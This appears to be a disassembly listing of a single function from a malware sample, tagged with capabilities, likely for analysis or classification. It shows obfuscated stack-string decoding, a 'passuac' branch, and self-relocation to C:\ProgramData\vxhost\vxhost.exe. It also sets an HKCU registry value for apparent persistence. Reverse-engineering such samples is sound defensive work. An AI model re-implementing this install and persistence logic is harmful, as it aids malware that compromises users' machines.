Function at 0x1000c2a0
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create directory
Get common file path
Move file
Set registry value
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10029576
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xc98
push esi
push edi
push 0x10038edc
call fcn.10002fb0
add esp, 4
lea eax, [ebp - 0x690]
push 0x104
push 0
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [ebp - 0x690]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x690]
push eax
call fcn.10017a76
add esp, 4
push 0x10038ee0
call fcn.10002fb0
add esp, 4
push 0x10038ee4
call fcn.10002fb0
add esp, 4
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
je 0x1000a063
xor esi, esi
cmp dword [ebp - 0x18], esi
jle 0x1000a063
push dword [edi + esi*4]
call fcn.10002fb0
inc esi
add esp, 4
cmp esi, dword [ebp - 0x18]
jl 0x1000a052
push 0x10038ee8
call fcn.10002fb0
xorps xmm0, xmm0
mov dword [ebp - 0x149], 0xd2c9cbc6
mov dword [ebp - 0x145], 0xdbd3dec8
add esp, 4
mov dword [ebp - 0x141], 0xc3a3b5dd
movq qword [ebp - 0x13d], xmm0
mov word [ebp - 0x135], 0
mov byte [ebp - 0x133], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x17
jae 0x1000a0fa
nop word [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x7cc4dd37
mov al, byte [ebp + eax - 0x149]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
add cl, 0x7f
mov byte [ebp + eax - 0x149], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x17
jb 0x1000a0c0
lea eax, [ebp - 0x149]
push eax
lea eax, [ebp - 0x690]
push eax
call fcn.1000f270
add esp, 8
test eax, eax
je 0x1000ae39
test edi, edi
je 0x1000abaa
cmp dword [ebp - 0x18], 2
jne 0x1000abaa
push 0x10038eec
push dword [edi + 4]
call fcn.10016200
add esp, 8
test eax, eax
jne 0x1000a8ba
call fcn.100084f0
cmp byte [0x10074235], 1
jne 0x1000a371
push str.C:ProgramData_vxhost_vxhost.exe
lea ecx, [ebp - 0x30c]
call fcn.10002280
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1b5], 0x414148b6
mov word [ebp - 0x1b1], 0xdd47
movq qword [ebp - 0x1af], xmm0
mov dword [ebp - 0x1a7], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x12
jae 0x1000a1da
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0xad5ad4e3
mov al, byte [ebp + eax - 0x1b5]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
sub cl, 0x35
mov byte [ebp + eax - 0x1b5], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x12
jb 0x1000a1a0
lea eax, [ebp - 0x1b5]
push eax
lea edx, [ebp - 0x30c]
lea ecx, [ebp - 0x480]
call fcn.10003e20
add esp, 4
lea ecx, [ebp - 0x30c]
push eax
call fcn.10002200
lea ecx, [ebp - 0x480]
call fcn.100021b0
xorps xmm0, xmm0
mov dword [ebp - 0x1cf], 0xb09081f
mov dword [ebp - 0x1cb], 0x18081e1e
mov byte [ebp - 0x1c7], 0xbe
movups xmmword [ebp - 0x1c6], xmm0
mov byte [ebp - 0x1b6], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x1a
jae 0x1000a28a
nop word [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0xf8670997
mov al, byte [ebp + eax - 0x1cf]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
sub cl, 0x21
mov byte [ebp + eax - 0x1cf], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1a
jb 0x1000a250
xorps xmm0, xmm0
mov dword [ebp - 0x64], 0xbf8e849b
mov dword [ebp - 0x60], 0xb4be8ebb
mov dword [ebp - 0x5c], 0xb6bbdeaa
mov dword [ebp - 0x58], 0xb685b884
mov dword [ebp - 0x54], 0xaaa089bc
mov dword [ebp - 0x50], 0xaebcb3b5
mov dword [ebp - 0x4c], 0xc6b89097
mov dword [ebp - 0x48], 0xac969791
mov dword [ebp - 0x44], 0xa8be99a4
mov dword [ebp - 0x40], 0x5ea79c9c
mov dword [ebp - 0x3c], 0x6042495c
mov word [ebp - 0x38], 0xe958
movq qword [ebp - 0x36], xmm0
mov word [ebp - 0x2e], 0
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x39
jae 0x1000a334
nop dword [eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0xabd489d9
mov al, byte [ebp + eax - 0x64]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
add cl, 0x11
mov byte [ebp + eax - 0x64], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x39
jb 0x1000a300
lea ecx, [ebp - 0x30c]
call fcn.100046f0
push eax
lea ecx, [ebp - 0x30c]
call fcn.10002140
push eax
push 1
lea eax, [ebp - 0x1cf]
push eax
lea eax, [ebp - 0x64]
push eax
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
call fcn.10009960
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.install
call fcn.10002fb0
add esp, 4
call fcn.100089d0
test eax, eax
je 0x1000a494
call fcn.10009c60
test eax, eax
jne 0x1000a494
push str.C:ProgramData_vxhost_vxhost.exe
lea ecx, [ebp - 0x2bc]
call fcn.10002280
mov dword [ebp - 4], 2
xorps xmm0, xmm0
mov dword [ebp - 0x1a3], 0x8989f046
mov word [ebp - 0x19f], 0x7d87
movq qword [ebp - 0x19d], xmm0
mov dword [ebp - 0x195], 0
mov byte [ebp - 0x191], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x13
jae 0x1000a42a
nop dword [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x54b1b6af
mov al, byte [ebp + eax - 0x1a3]
movzx edx, al
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
mov eax, dword [ebp - 0x14]
add edx, ecx
add dl, 0x37
mov byte [ebp + eax - 0x1a3], dl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x13
jb 0x1000a3f0
lea eax, [ebp - 0x1a3]
push eax
lea edx, [ebp - 0x2bc]
lea ecx, [ebp - 0x450]
call fcn.10003e20
add esp, 4
lea ecx, [ebp - 0x2bc]
push eax
call fcn.10002200
lea ecx, [ebp - 0x450]
mov byte [ebp - 4], 3
call fcn.100021b0
mov byte [ebp - 4], 2
call fcn.10009830
cmp dword [ebp - 0x2a8], 0x10
lea ecx, [ebp - 0x2bc]
cmovae ecx, dword [ebp - 0x2bc]
call fcn.1000c740
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x2bc]
jmp 0x1000a8ae
mov ecx, 0x1a
call fcn.10007c00
test eax, eax
je 0x1000a636
push 0x10038f04
call fcn.10002fb0
add esp, 4
lea ecx, [ebp - 0x204]
push str.C:ProgramData_vxhost_vxhost.exe
call fcn.10002280
mov dword [ebp - 4], 5
xorps xmm0, xmm0
mov dword [ebp - 0x1ea], 0x6e5b69e6
mov dword [ebp - 0x1e6], 0x5a5f6a6f
mov byte [ebp - 0x1e2], 0xfe
movups xmmword [ebp - 0x1e1], xmm0
mov word [ebp - 0x1d1], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x1b
jae 0x1000a54a
nop word [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x274e93bf
mov al, byte [ebp + eax - 0x1ea]
movzx edx, al
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
mov eax, dword [ebp - 0x14]
add edx, ecx
sub dl, 0x39
mov byte [ebp + eax - 0x1ea], dl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1b
jb 0x1000a510
lea eax, [ebp - 0x1ea]
push eax
lea edx, [ebp - 0x204]
lea ecx, [ebp - 0x438]
call fcn.10003e20
add esp, 4
lea ecx, [ebp - 0x204]
push eax
call fcn.10002200
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 6
call fcn.100021b0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x204]
mov esi, dword [ebp - 0x1f0]
cmp esi, 0x10
cmovae ecx, dword [ebp - 0x204]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000a5a0
sub ecx, edx
cmp esi, 0x10
lea edx, [ebp - 0x204]
cmovae edx, dword [ebp - 0x204]
push ecx
lea ecx, [ebp - 0x3d8]
call fcn.10007fa0
add esp, 4
mov byte [ebp - 4], 7
cmp dword [eax + 0x14], 8
jb 0x1000a5d4
mov eax, dword [eax]
lea edx, [ebp - 0x2d8]
mov ecx, eax
call fcn.10004d20
mov esi, eax
lea ecx, [ebp - 0x3d8]
mov byte [ebp - 4], 8
call fcn.10001fb0
mov byte [ebp - 4], 5
test esi, esi
je 0x1000a607
push str.Create_OK
call fcn.10002fb0
add esp, 4
cmp dword [ebp - 0x1f0], 0x10
lea eax, [ebp - 0x204]
cmovae eax, dword [ebp - 0x204]
push eax
call fcn.10002fb0
add esp, 4
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x204]
jmp 0x1000a8ae
push str.C:ProgramData_vxhost_vxhost.exe
lea ecx, [ebp - 0x2a4]
call fcn.10002280
mov dword [ebp - 4], 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x25a], 0x898d8678
mov word [ebp - 0x256], 0x5af
movups xmmword [ebp - 0x254], xmm0
mov dword [ebp - 0x244], 0
mov word [ebp - 0x240], 0
mov byte [ebp - 0x23e], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x1d
jae 0x1000a6cb
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0xa80186ac
mov al, byte [ebp + eax - 0x25a]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
add cl, 0x4c
mov byte [ebp + eax - 0x25a], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1d
jb 0x1000a691
lea eax, [ebp - 0x25a]
push eax
lea edx, [ebp - 0x2a4]
lea ecx, [ebp - 0x468]
call fcn.10003e20
add esp, 4
lea ecx, [ebp - 0x2a4]
push eax
call fcn.10002200
lea ecx, [ebp - 0x468]
mov byte [ebp - 4], 0xb
call fcn.100021b0
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0x2a4]
cmp dword [ebp - 0x290], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x224], 0x736d6e67
cmovae esi, dword [ebp - 0x2a4]
mov dword [ebp - 0x220], 0x62726460
mov byte [ebp - 0x21c], 0xc8
movups xmmword [ebp - 0x21b], xmm0
mov dword [ebp - 0x20b], 0
mov word [ebp - 0x207], 0
mov byte [ebp - 0x205], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x20
jae 0x1000a7aa
nop word [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0xff9e20e0
mov al, byte [ebp + eax - 0x224]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
sub cl, 0x20
mov byte [ebp + eax - 0x224], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x20
jb 0x1000a770
xorps xmm0, xmm0
mov dword [ebp - 0xa0], 0xf3e302b
mov dword [ebp - 0x9c], 0x202e3e0b
mov dword [ebp - 0x98], 0x26234e3a
mov dword [ebp - 0x94], 0x26192428
mov dword [ebp - 0x90], 0x3a341d28
mov dword [ebp - 0x8c], 0xded0db29
mov dword [ebp - 0x88], 0xb6cce4e7
mov dword [ebp - 0x84], 0xd8d6d7e5
mov dword [ebp - 0x80], 0xdcceedd0
mov dword [ebp - 0x7c], 0xcec7f0d0
mov dword [ebp - 0x78], 0xf4aaddc8
mov word [ebp - 0x74], 0x75cc
movq qword [ebp - 0x72], xmm0
mov dword [ebp - 0x6a], 0
mov word [ebp - 0x66], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x3c
jae 0x1000a87a
nop word [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x8c662e6b
mov al, byte [ebp + eax - 0xa0]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
add cl, 0x13
mov byte [ebp + eax - 0xa0], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3c
jb 0x1000a840
push dword [ebp - 0x294]
lea eax, [ebp - 0x224]
push esi
push 1
push eax
lea eax, [ebp - 0xa0]
push eax
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
call fcn.10009960
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x2a4]
call fcn.100021b0
mov dword [ebp - 4], 0xffffffff
xorps xmm0, xmm0
mov dword [ebp - 0x160], 0x23912da7
mov dword [ebp - 0x15c], 0x27992196
mov word [ebp - 0x158], 0x2524
movq qword [ebp - 0x156], xmm0
mov dword [ebp - 0x14e], 0
mov byte [ebp - 0x14a], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x17
jae 0x1000a93a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0xa66b4f06
mov al, byte [ebp + eax - 0x160]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
sub cl, 0x2a
mov byte [ebp + eax - 0x160], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x17
jb 0x1000a900
lea eax, [ebp - 0x160]
push eax
push dword [edi + 4]
call fcn.10016200
add esp, 8
test eax, eax
jne 0x1000a955
call fcn.10009960
push str.passuac
push dword [edi + 4]
call fcn.10016200
add esp, 8
test eax, eax
jne 0x1000b333
mov dword [ebp - 0x2b], 0xdb24d939
mov dword [ebp - 0x27], 0xe7d0e514
mov dword [ebp - 0x23], 0xe31ae10d
mov word [ebp - 0x1f], 0xed01
mov dword [ebp - 0x1d], 0xefee
mov byte [ebp - 0x19], al
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x13
jae 0x1000a9d4
nop dword [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x79050c9c
mov al, byte [ebp + eax - 0x2b]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
sub cl, 0x44
mov byte [ebp + eax - 0x2b], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x13
jb 0x1000a9a0
lea edx, [ebp - 0x2b]
lea ecx, [ebp - 0x318]
call fcn.10004c40
mov edi, dword [eax + 4]
mov esi, dword [eax]
lea ecx, [ebp - 0x318]
mov dword [ebp - 4], 0xd
call fcn.10005420
sub edi, esi
mov dword [ebp - 4], 0xffffffff
sar edi, 2
push 0x208
push 0
test edi, edi
je 0x1000aa43
lea eax, [ebp - 0xca8]
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [ebp - 0xca8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0xca8]
call fcn.10008480
jmp 0x1000b333
lea eax, [ebp - 0x898]
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [ebp - 0x898]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xorps xmm0, xmm0
mov dword [ebp - 0x132], 0x1b89197c
mov dword [ebp - 0x12e], 0x1785159d
mov dword [ebp - 0x12a], 0x138f119c
mov dword [ebp - 0x126], 0xf5d0d99
mov dword [ebp - 0x122], 0xb6e095a
mov dword [ebp - 0x11e], 0x7880597
mov dword [ebp - 0x11a], 0x39a0163
mov dword [ebp - 0x116], 0x3fad3dab
mov dword [ebp - 0x112], 0x3b6c39b4
mov dword [ebp - 0x10e], 0x37be35a9
mov dword [ebp - 0x10a], 0x333231ad
movups xmmword [ebp - 0x106], xmm0
mov word [ebp - 0xf6], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x3e
jae 0x1000ab2c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x31d5a384
mov al, byte [ebp + eax - 0x132]
movzx edx, al
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
mov eax, dword [ebp - 0x14]
add edx, ecx
add dl, 0x64
mov byte [ebp + eax - 0x132], dl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3e
jb 0x1000aaf2
lea edx, [ebp - 0x132]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x1000ab34
lea edi, [ebp - 0x898]
sub edx, esi
add edi, 0xfffffffe
nop word [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x1000ab50
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x898]
call fcn.100048f0
push 0x20
mov edx, str.C:ProgramData_vxhost_vxhost.exe
lea ecx, [ebp - 0x3c0]
call fcn.10007fa0
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 0xe
call fcn.10001fa0
mov ecx, eax
call fcn.100045c0
lea ecx, [ebp - 0x3c0]
jmp 0x1000b32e
call fcn.10009830
push str.C:ProgramData_vxhost_vxhost.exe
lea ecx, [ebp - 0x2f4]
call fcn.10002280
mov dword [ebp - 4], 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x23d], 0x1511264c
mov word [ebp - 0x239], 0xa11f
movups xmmword [ebp - 0x237], xmm0
mov word [ebp - 0x227], 0
mov byte [ebp - 0x225], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x19
jae 0x1000ac3a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x91dde3c6
mov al, byte [ebp + eax - 0x23d]
movzx edx, al
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
mov eax, dword [ebp - 0x14]
add edx, ecx
sub dl, 0x6a
mov byte [ebp + eax - 0x23d], dl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x19
jb 0x1000ac00
lea eax, [ebp - 0x23d]
push eax
lea edx, [ebp - 0x2f4]
lea ecx, [ebp - 0x3f0]
call fcn.10003e20
add esp, 4
lea ecx, [ebp - 0x2f4]
push eax
call fcn.10002200
lea ecx, [ebp - 0x3f0]
mov byte [ebp - 4], 0x10
call fcn.100021b0
mov edx, 2
mov byte [ebp - 4], 0xf
push 0
lea ecx, [edx + 4]
call fcn.10004b80
add esp, 4
test al, al
je 0x1000ae17
call fcn.10009c60
test eax, eax
je 0x1000ae17
push 0x208
lea eax, [ebp - 0xaa0]
push 0
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [ebp - 0xaa0]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xorps xmm0, xmm0
mov dword [ebp - 0xf4], 0x63f1611c
mov dword [ebp - 0xf0], 0x67f565fd
mov dword [ebp - 0xec], 0x6b0f69fc
mov dword [ebp - 0xe8], 0x6f3d6d01
mov dword [ebp - 0xe4], 0x93ee91c2
mov dword [ebp - 0xe0], 0x97009507
mov dword [ebp - 0xdc], 0x9bf299fb
mov dword [ebp - 0xd8], 0x9f0d9df3
mov dword [ebp - 0xd4], 0x83ac8114
mov dword [ebp - 0xd0], 0x871e85e1
mov dword [ebp - 0xcc], 0x8b8a89ed
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x3c
jae 0x1000ad8a
nop dword [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x458ecdf0
mov al, byte [ebp + eax - 0xf4]
movzx edx, al
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
mov eax, dword [ebp - 0x14]
add edx, ecx
add dl, 0x70
mov byte [ebp + eax - 0xf4], dl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3c
jb 0x1000ad50
lea edx, [ebp - 0xf4]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x1000ad92
lea edi, [ebp - 0xaa0]
sub edx, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x1000adb0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xaa0]
call fcn.100048f0
push 0x20
mov edx, str.C:ProgramData_vxhost_vxhost.exe
lea ecx, [ebp - 0x408]
call fcn.10007fa0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x11
call fcn.10001fa0
mov ecx, eax
call fcn.10009560
lea ecx, [ebp - 0x408]
call fcn.10001fb0
lea ecx, [ebp - 0x2f4]
call fcn.100021b0
jmp 0x1000b333
lea ecx, [ebp - 0x2f4]
call fcn.10002140
mov ecx, eax
call fcn.1000c740
lea ecx, [ebp - 0x2f4]
call fcn.100021b0
jmp 0x1000b333
cmp dword [ebp - 0x18], 1
jne 0x1000b333
xorps xmm0, xmm0
mov dword [ebp - 0xb8], 0x83f4ab9b
mov dword [ebp - 0xb4], 0xedf5ece0
mov dword [ebp - 0xb0], 0xf894eefd
mov word [ebp - 0xac], 0x86e6
mov byte [ebp - 0xaa], 0x24
movq qword [ebp - 0xa9], xmm0
mov byte [ebp - 0xa1], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x18
jae 0x1000aeca
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x5334a733
mov al, byte [ebp + eax - 0xb8]
movzx edx, al
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
mov eax, dword [ebp - 0x14]
add edx, ecx
sub dl, 0x65
mov byte [ebp + eax - 0xb8], dl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x18
jb 0x1000ae90
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0xb8]
push 0
push eax
call esi
push 0
push str.c:programdata_vxhost
call esi
push 0x104
lea eax, [ebp - 0x588]
push 0
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [ebp - 0x588]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x588]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x588]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000af24
sub ecx, edx
lea edx, [ebp - 0x588]
push ecx
lea ecx, [ebp - 0x420]
call fcn.10007fa0
add esp, 4
mov dword [ebp - 4], 0x12
cmp dword [eax + 0x14], 8
jb 0x1000af51
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x190]
call fcn.10002010
lea ecx, [ebp - 0x420]
mov byte [ebp - 4], 0x15
call fcn.10001fb0
push 2
push 0x10038f28
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 0x14
call fcn.10003a80
push 0
push 2
lea ecx, [ebp - 0x190]
call fcn.1000c4e0
push 0x15
mov edx, str.c:programdata_vxhost
lea ecx, [ebp - 0x330]
call fcn.10007fa0
add esp, 4
mov byte [ebp - 4], 0x16
cmp dword [eax + 0x14], 8
jb 0x1000afb2
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x28c]
call fcn.10002010
lea ecx, [ebp - 0x330]
mov byte [ebp - 4], 0x19
call fcn.10001fb0
push 0
push 2
lea ecx, [ebp - 0x28c]
mov byte [ebp - 4], 0x18
call fcn.1000c4e0
cmp dword [ebp - 0x278], 8
lea ecx, [ebp - 0x28c]
lea eax, [ebp - 0x190]
cmovae ecx, dword [ebp - 0x28c]
cmp dword [ebp - 0x17c], 8
push ecx
cmovae eax, dword [ebp - 0x190]
push eax
push str._s__s
call fcn.10002fb0
add esp, 0xc
lea edx, [ebp - 0x190]
cmp dword [ebp - 0x17c], 8
lea ecx, [ebp - 0x378]
cmovae edx, dword [ebp - 0x190]
call fcn.10007ea0
mov esi, eax
mov byte [ebp - 4], 0x1a
cmp dword [esi + 0x14], 0x10
jb 0x1000b044
mov esi, dword [esi]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000b047
sub esi, ecx
lea edx, [ebp - 0x190]
cmp dword [ebp - 0x17c], 8
lea ecx, [ebp - 0x360]
cmovae edx, dword [ebp - 0x190]
call fcn.10007ea0
mov edi, eax
push 0x18
mov edx, str.C:ProgramData_selde.cfg
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x348]
call fcn.10007fa0
add esp, 4
mov byte [ebp - 4], 0x1c
cmp dword [edi + 0x14], 0x10
jb 0x1000b096
mov edi, dword [edi]
cmp dword [eax + 0x14], 8
jb 0x1000b09e
mov eax, dword [eax]
push esi
mov edx, edi
mov ecx, eax
call fcn.10001f20
add esp, 4
lea ecx, [ebp - 0x348]
mov byte [ebp - 4], 0x1d
call fcn.10001fb0
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x1e
call fcn.100021b0
lea ecx, [ebp - 0x378]
mov byte [ebp - 4], 0x1f
call fcn.100021b0
mov byte [ebp - 4], 0x18
lea edx, [ebp - 0x28c]
cmp dword [ebp - 0x278], 8
lea ecx, [ebp - 0x190]
cmovae edx, dword [ebp - 0x28c]
cmp dword [ebp - 0x17c], 8
cmovae ecx, dword [ebp - 0x190]
call fcn.10001ed0
push eax
push 0x10037b90
call fcn.10002fb0
add esp, 8
lea ecx, [ebp - 0x2d4]
push str.c:programdata_vxhost
call fcn.10002280
push 1
push 0x10037a64
lea ecx, [ebp - 0x2d4]
mov byte [ebp - 4], 0x20
call fcn.10002150
lea eax, [ebp - 0x690]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov edx, eax
lea esi, [edx + 1]
nop
mov cl, byte [edx]
inc edx
test cl, cl
jne 0x1000b150
sub edx, esi
lea ecx, [ebp - 0x2d4]
push edx
push eax
call fcn.10002150
push 0x10038f3c
call fcn.10002fb0
add esp, 4
lea eax, [ebp - 0x2d4]
cmp dword [ebp - 0x2c0], 0x10
cmovae eax, dword [ebp - 0x2d4]
push str.C:ProgramData_vxhost_vxhost.exe
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x10038f40
call fcn.10002fb0
add esp, 4
lea ecx, [ebp - 0x274]
push str.C:ProgramData_vxhost_vxhost.exe
call fcn.10002280
mov byte [ebp - 4], 0x21
xorps xmm0, xmm0
mov dword [ebp - 0x178], 0x646024ec
mov dword [ebp - 0x174], 0x5b5a5064
mov byte [ebp - 0x170], 0xf4
movq qword [ebp - 0x16f], xmm0
mov dword [ebp - 0x167], 0
mov word [ebp - 0x163], 0
mov byte [ebp - 0x161], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x18
jae 0x1000b23b
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x2239e2be
mov al, byte [ebp + eax - 0x178]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
sub cl, 0x32
mov byte [ebp + eax - 0x178], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x18
jb 0x1000b201
lea eax, [ebp - 0x178]
push eax
lea edx, [ebp - 0x274]
lea ecx, [ebp - 0x390]
call fcn.10003e20
